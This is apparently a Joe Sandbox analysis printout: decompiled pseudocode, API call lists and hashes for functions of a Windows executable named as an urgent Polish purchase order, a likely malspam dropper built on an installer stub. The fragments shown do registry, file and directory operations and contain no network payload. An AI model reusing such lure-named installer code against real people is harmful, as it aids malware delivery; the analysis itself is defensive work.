					_push(_t6); // executed
					_t8 = E00401434(); // executed
					if(_t8 == 0x7fffffff) {
						return 0x7fffffff;
					}
					_t10 = E0040136D(_t8);
					if(_t10 != 0) {
						_t11 = _t10 - 1;
						_t16 = _t17;
						_t17 = _t11;
						_t12 = _t11 - _t16;
					} else {
						_t12 = _t10 + 1;
						_t17 = _t17 + 1;
					}
					if( *((intOrPtr*)(_t18 + 0xc)) != 0) {
						 *0x422eec =  *0x422eec + _t12;
						SendMessageA( *(_t18 + 0x18), 0x402, MulDiv( *0x422eec, 0x7530,  *0x422ed4), 0); // executed
					}
				}
				return 0;
			}











                                                                                              0x0040138a
                                                                                              0x004013fa
                                                                                              0x0040139b
                                                                                              0x004013a0
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004013a2
                                                                                              0x004013a3
                                                                                              0x004013ad
                                                                                              0x00000000
                                                                                              0x00401404
                                                                                              0x004013b0
                                                                                              0x004013b7
                                                                                              0x004013bd
                                                                                              0x004013be
                                                                                              0x004013c0
                                                                                              0x004013c2
                                                                                              0x004013b9
                                                                                              0x004013b9
                                                                                              0x004013ba
                                                                                              0x004013ba
                                                                                              0x004013c9
                                                                                              0x004013cb
                                                                                              0x004013f4
                                                                                              0x004013f4
                                                                                              0x004013c9
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
                                                                                              • SendMessageA.USER32(?,00000402,00000000), ref: 004013F4
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageSend
                                                                                              • String ID:
                                                                                              • API String ID: 3850602802-0
                                                                                              • Opcode ID: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
                                                                                              • Instruction ID: da56ad7cfcb2a9fecb994a09e4a0bd113f750103611445cd7b28aada07ee45e3
                                                                                              • Opcode Fuzzy Hash: a519dadb84f5fbb5742ded63e05e15cde03a873041ee9604df24846d4002906c
                                                                                              • Instruction Fuzzy Hash: 2E012831B24210ABE7294B389D04B6A369CE710328F11823BF811F72F1D6B8DC42DB4D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402308 Relevance: 3.0, APIs: 2, Instructions: 40registryCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00402308(void* __ebx) {
				char* _t6;
				long _t8;
				void* _t11;
				void* _t15;
				long _t19;
				void* _t22;
				void* _t23;

				_t15 = __ebx;
				_t26 =  *(_t23 - 0x18) - __ebx;
				if( *(_t23 - 0x18) != __ebx) {
					_t6 = E00402A3A(0x22);
					_t18 =  *(_t23 - 0x18) & 0x00000002;
					__eflags =  *(_t23 - 0x18) & 0x00000002;
					_t8 = E00402A7A(E00402B2F( *((intOrPtr*)(_t23 - 0x24))), _t6, _t18); // executed
					_t19 = _t8;
					goto L4;
				} else {
					_t11 = E00402B44(_t26, 2); // executed
					_t22 = _t11;
					if(_t22 == __ebx) {
						L6:
						 *((intOrPtr*)(_t23 - 4)) = 1;
					} else {
						_t19 = RegDeleteValueA(_t22, E00402A3A(0x33));
						RegCloseKey(_t22);
						L4:
						if(_t19 != _t15) {
							goto L6;
						}
					}
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t23 - 4));
				return 0;
			}










                                                                                              0x00402308
                                                                                              0x00402308
                                                                                              0x0040230b
                                                                                              0x0040233a
                                                                                              0x00402342
                                                                                              0x00402342
                                                                                              0x00402350
                                                                                              0x00402355
                                                                                              0x00000000
                                                                                              0x0040230d
                                                                                              0x0040230f
                                                                                              0x00402314
                                                                                              0x00402318
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x0040231e
                                                                                              0x0040232e
                                                                                              0x00402330
                                                                                              0x00402357
                                                                                              0x00402359
                                                                                              0x00000000
                                                                                              0x0040235f
                                                                                              0x00402359
                                                                                              0x00402318
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                                • Part of subcall function 00402B44: RegOpenKeyExA.KERNELBASE(00000000,00000A58,00000000,00000022,00000000,?,?), ref: 00402B6C
                                                                                              • RegDeleteValueA.ADVAPI32(00000000,00000000,00000033), ref: 00402327
                                                                                              • RegCloseKey.ADVAPI32(00000000), ref: 00402330
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseDeleteOpenValue
                                                                                              • String ID:
                                                                                              • API String ID: 849931509-0
                                                                                              • Opcode ID: 3d048db30165a87dbbda70ec83d819f5182c4ff2759fa8fbc0a094342d08bd4b
                                                                                              • Instruction ID: 0b8f6a46cfbad05769843233fc9109b41d2ceb5d24a7fa4f39b64bc1fd674853
                                                                                              • Opcode Fuzzy Hash: 3d048db30165a87dbbda70ec83d819f5182c4ff2759fa8fbc0a094342d08bd4b
                                                                                              • Instruction Fuzzy Hash: CDF04473A00110ABDB10BFA48A4EAAE72799B50345F14443BF201B61C1D9BD4D12966D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040155B Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • ShowWindow.USER32(00010428), ref: 00401579
                                                                                              • ShowWindow.USER32(00010422), ref: 0040158E
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: ShowWindow
                                                                                              • String ID:
                                                                                              • API String ID: 1268545403-0
                                                                                              • Opcode ID: eefc9c2eba5680e91e0ebc83984cde26ecf89c5aeacf34c607b8bcbd51dc0c8b
                                                                                              • Instruction ID: 6a1362a081380b38d7ea923c07575874152cb2511cc7df5c202f84d8e6e7dbc6
                                                                                              • Opcode Fuzzy Hash: eefc9c2eba5680e91e0ebc83984cde26ecf89c5aeacf34c607b8bcbd51dc0c8b
                                                                                              • Instruction Fuzzy Hash: AEF0E577B182806FDB25DB74EE8086E7BF6DB9531075901BFD101A3591C2B89C08D728
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00406092 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00406092(signed int _a4) {
				struct HINSTANCE__* _t5;
				signed int _t10;

				_t10 = _a4 << 3;
				_t8 =  *(_t10 + 0x409240);
				_t5 = GetModuleHandleA( *(_t10 + 0x409240));
				if(_t5 != 0) {
					L2:
					return GetProcAddress(_t5,  *(_t10 + 0x409244));
				}
				_t5 = E00406024(_t8); // executed
				if(_t5 == 0) {
					return 0;
				}
				goto L2;
			}





                                                                                              0x0040609a
                                                                                              0x0040609d
                                                                                              0x004060a4
                                                                                              0x004060ac
                                                                                              0x004060b8
                                                                                              0x00000000
                                                                                              0x004060bf
                                                                                              0x004060af
                                                                                              0x004060b6
                                                                                              0x00000000
                                                                                              0x004060c7
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • GetModuleHandleA.KERNEL32(?,?,?,00403143,00000009), ref: 004060A4
                                                                                              • GetProcAddress.KERNEL32(00000000,?), ref: 004060BF
                                                                                                • Part of subcall function 00406024: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0040603B
                                                                                                • Part of subcall function 00406024: wsprintfA.USER32 ref: 00406074
                                                                                                • Part of subcall function 00406024: LoadLibraryExA.KERNELBASE(?,00000000,00000008), ref: 00406088
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
                                                                                              • String ID:
                                                                                              • API String ID: 2547128583-0
                                                                                              • Opcode ID: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
                                                                                              • Instruction ID: f390ed2799c289b087c769a87f24dfac638062b8da6604b2acd18c4b1555f769
                                                                                              • Opcode Fuzzy Hash: ad31075058678b318fb1acd60a85244af91915838e2bda58b2d8d9f4dd3fd24d
                                                                                              • Instruction Fuzzy Hash: B4E08632644111A6D320A7709D0493B72EC9E84710302483EF906F2191D738AC259669
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040596C Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 68%
                                                                                              			E0040596C(CHAR* _a4, long _a8, long _a12) {
				signed int _t5;
				void* _t6;

				_t5 = GetFileAttributesA(_a4); // executed
				asm("sbb ecx, ecx");
				_t6 = CreateFileA(_a4, _a8, "true", 0, _a12,  ~(_t5 + 1) & _t5, 0); // executed
				return _t6;
			}





                                                                                              0x00405970
                                                                                              0x0040597d
                                                                                              0x00405992
                                                                                              0x00405998

                                                                                              APIs
                                                                                              • GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaroslaw Koenig sp. k..exe,80000000,00000003), ref: 00405970
                                                                                              • CreateFileA.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405992
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$AttributesCreate
                                                                                              • String ID:
                                                                                              • API String ID: 415043291-0
                                                                                              • Opcode ID: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
                                                                                              • Instruction ID: 2848333a8a5b20597e43067d17cc290ce391feab13c7f73248cb22e1b8f9cacf
                                                                                              • Opcode Fuzzy Hash: 8635a13517db9147ca88e6c1994c1e63e85e115acab2f3846d9047911b568965
                                                                                              • Instruction Fuzzy Hash: 5CD09E31658301AFEF098F20DD16F2EBAA2EB84B01F10962CBA82950E0D6755C159B26
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405947 Relevance: 3.0, APIs: 2, Instructions: 13COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405947(CHAR* _a4) {
				signed char _t3;
				signed char _t7;

				_t3 = GetFileAttributesA(_a4); // executed
				_t7 = _t3;
				if(_t7 != 0xffffffff) {
					SetFileAttributesA(_a4, _t3 & 0x000000fe);
				}
				return _t7;
			}





                                                                                              0x0040594c
                                                                                              0x00405952
                                                                                              0x00405957
                                                                                              0x00405960
                                                                                              0x00405960
                                                                                              0x00405969

                                                                                              APIs
                                                                                              • GetFileAttributesA.KERNELBASE(?,?,0040555F,?,?,00000000,00405742,?,?,?,?), ref: 0040594C
                                                                                              • SetFileAttributesA.KERNEL32(?,00000000), ref: 00405960
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesFile
                                                                                              • String ID:
                                                                                              • API String ID: 3188754299-0
                                                                                              • Opcode ID: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
                                                                                              • Instruction ID: 96e5362f07f59601f7516fe8bcac2aa0a8151a45168581d09323fa3b8cc485cf
                                                                                              • Opcode Fuzzy Hash: 123b2631ce2b274a689f6f42d71c67174a47df8962c272e460887a4e83ced065
                                                                                              • Instruction Fuzzy Hash: F7D01272908121AFC2102738ED0C89BBF65EB543717058B35FDB9F22F0D7304C568AA6
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405455 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405455(CHAR* _a4) {
				int _t2;

				_t2 = CreateDirectoryA(_a4, 0); // executed
				if(_t2 == 0) {
					return GetLastError();
				}
				return 0;
			}




                                                                                              0x0040545b
                                                                                              0x00405463
                                                                                              0x00000000
                                                                                              0x00405469
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • CreateDirectoryA.KERNELBASE(?,00000000,004030CC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004032C9), ref: 0040545B
                                                                                              • GetLastError.KERNEL32 ref: 00405469
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: CreateDirectoryErrorLast
                                                                                              • String ID:
                                                                                              • API String ID: 1375471231-0
                                                                                              • Opcode ID: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
                                                                                              • Instruction ID: ace853db513f64caea17b5c73fb52fb3118c2a3fabff3065b7385b8b337d2f64
                                                                                              • Opcode Fuzzy Hash: 5a69f4d8b5a7b583b3b8a13bd9b089cb74a3312a80339e25d7f83e3ab18a8421
                                                                                              • Instruction Fuzzy Hash: 9DC08C30B18101EAC6100B30AE087073D50AB00742F1444356206E10E0C6309050CD2F
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 0040255C Relevance: 1.6, APIs: 1, Instructions: 74COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E0040255C(intOrPtr __ebx, void* __edi, void* __esi) {
				intOrPtr _t26;
				void* _t35;
				void* _t38;

				 *((intOrPtr*)(_t35 - 8)) = __ebx;
				_t26 = E00402A1D(2);
				_t38 = _t26 - 1;
				 *((intOrPtr*)(_t35 - 0xc)) = _t26;
				if(_t38 < 0) {
					L24:
					 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t35 - 4));
				} else {
					__ecx = 0x3ff;
					if(__eax > 0x3ff) {
						 *((intOrPtr*)(__ebp - 0xc)) = 0x3ff;
					}
					if( *__esi == __bl) {
						L21:
						__esi =  *((intOrPtr*)(__ebp - 8));
						goto L22;
					} else {
						 *((char*)(__ebp + 0xb)) = __bl;
						 *(__ebp - 0x30) = E00405C70(__ecx, __esi);
						if( *((intOrPtr*)(__ebp - 0xc)) <= __ebx) {
							goto L21;
						} else {
							__esi =  *((intOrPtr*)(__ebp - 8));
							while(1) {
								__eax = __ebp - 0xd;
								__eax = E004059E4( *(__ebp - 0x30), __ebp - 0xd, "true"); // executed
								if(__eax == 0) {
									break;
								}
								if( *((intOrPtr*)(__ebp - 0x1c)) != __ebx) {
									 *(__ebp - 0xd) & 0x000000ff = E00405C57(__edi,  *(__ebp - 0xd) & 0x000000ff);
								} else {
									if( *((char*)(__ebp + 0xb)) == 0xd ||  *((char*)(__ebp + 0xb)) == 0xa) {
										__al =  *(__ebp - 0xd);
										if( *((intOrPtr*)(__ebp + 0xb)) == __al || __al != 0xd && __al != 0xa) {
											__eax = SetFilePointer( *(__ebp - 0x30), 0xffffffff, __ebx, "true");
										} else {
											 *((char*)(__esi + __edi)) = __al;
											__esi = __esi + 1;
										}
										break;
									} else {
										__al =  *(__ebp - 0xd);
										 *((char*)(__esi + __edi)) = __al;
										__esi = __esi + 1;
										 *((char*)(__ebp + 0xb)) = __al;
										if(__al == __bl) {
											break;
										} else {
											if(__esi <  *((intOrPtr*)(__ebp - 0xc))) {
												continue;
											} else {
												break;
											}
										}
									}
								}
								goto L25;
							}
							L22:
							 *((char*)(__esi + __edi)) = __bl;
							if(_t38 == 0) {
								 *((intOrPtr*)(_t35 - 4)) = 1;
							}
							goto L24;
						}
					}
				}
				L25:
				return 0;
			}






                                                                                              0x0040255e
                                                                                              0x00402561
                                                                                              0x00402566
                                                                                              0x00402569
                                                                                              0x0040256c
                                                                                              0x004028cf
                                                                                              0x004028d2
                                                                                              0x00402572
                                                                                              0x00402572
                                                                                              0x00402579
                                                                                              0x0040257b
                                                                                              0x0040257b
                                                                                              0x00402580
                                                                                              0x00402608
                                                                                              0x00402608
                                                                                              0x00000000
                                                                                              0x00402586
                                                                                              0x00402587
                                                                                              0x00402592
                                                                                              0x00402595
                                                                                              0x00000000
                                                                                              0x00402597
                                                                                              0x00402597
                                                                                              0x0040259a
                                                                                              0x0040259a
                                                                                              0x004025a3
                                                                                              0x004025aa
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004025af
                                                                                              0x004025d8
                                                                                              0x004025b1
                                                                                              0x004025b5
                                                                                              0x004025e2
                                                                                              0x004025e8
                                                                                              0x00402600
                                                                                              0x004025f2
                                                                                              0x004025f2
                                                                                              0x004025f5
                                                                                              0x004025f5
                                                                                              0x00000000
                                                                                              0x004025bd
                                                                                              0x004025bd
                                                                                              0x004025c0
                                                                                              0x004025c3
                                                                                              0x004025c6
                                                                                              0x004025c9
                                                                                              0x00000000
                                                                                              0x004025cb
                                                                                              0x004025ce
                                                                                              0x00000000
                                                                                              0x004025d0
                                                                                              0x00000000
                                                                                              0x004025d0
                                                                                              0x004025ce
                                                                                              0x004025c9
                                                                                              0x004025b5
                                                                                              0x00000000
                                                                                              0x004025af
                                                                                              0x0040260b
                                                                                              0x0040260b
                                                                                              0x004015a8
                                                                                              0x004026a6
                                                                                              0x004026a6
                                                                                              0x00000000
                                                                                              0x004015a8
                                                                                              0x00402595
                                                                                              0x00402580
                                                                                              0x004028d8
                                                                                              0x004028de

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: wsprintf
                                                                                              • String ID:
                                                                                              • API String ID: 2111968516-0
                                                                                              • Opcode ID: 7ea698501722721c26a8941e34d84e293da030ffcd79d9a631de662ee5d141bb
                                                                                              • Instruction ID: f0e9407761540611d0924c316636f69a46329dcf8394c365819cdff4e6cfa024
                                                                                              • Opcode Fuzzy Hash: 7ea698501722721c26a8941e34d84e293da030ffcd79d9a631de662ee5d141bb
                                                                                              • Instruction Fuzzy Hash: 5C210870C04299BEDF318B584A485AFBF749B01318F1480BBE891B63D1C1BC8A85EF1D
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00402616 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 44%
                                                                                              			E00402616(void* __eflags) {
				long _t6;
				long _t8;
				LONG* _t10;
				void* _t12;
				void* _t15;
				void* _t17;

				_push(ds);
				if(__eflags != 0) {
					_t6 = E00402A1D(2);
					_t8 = SetFilePointer(E00405C70(_t12, _t15), _t6, _t10,  *(_t17 - 0x1c)); // executed
					if( *((intOrPtr*)(_t17 - 0x24)) >= _t10) {
						_push(_t8);
						E00405C57();
					}
				}
				 *0x423788 =  *0x423788 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}









                                                                                              0x00402616
                                                                                              0x00402617
                                                                                              0x00402623
                                                                                              0x00402630
                                                                                              0x00402639
                                                                                              0x00402875
                                                                                              0x00402877
                                                                                              0x00402877
                                                                                              0x00402639
                                                                                              0x004028d2
                                                                                              0x004028de

                                                                                              APIs
                                                                                              • SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 00402630
                                                                                                • Part of subcall function 00405C57: wsprintfA.USER32 ref: 00405C64
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
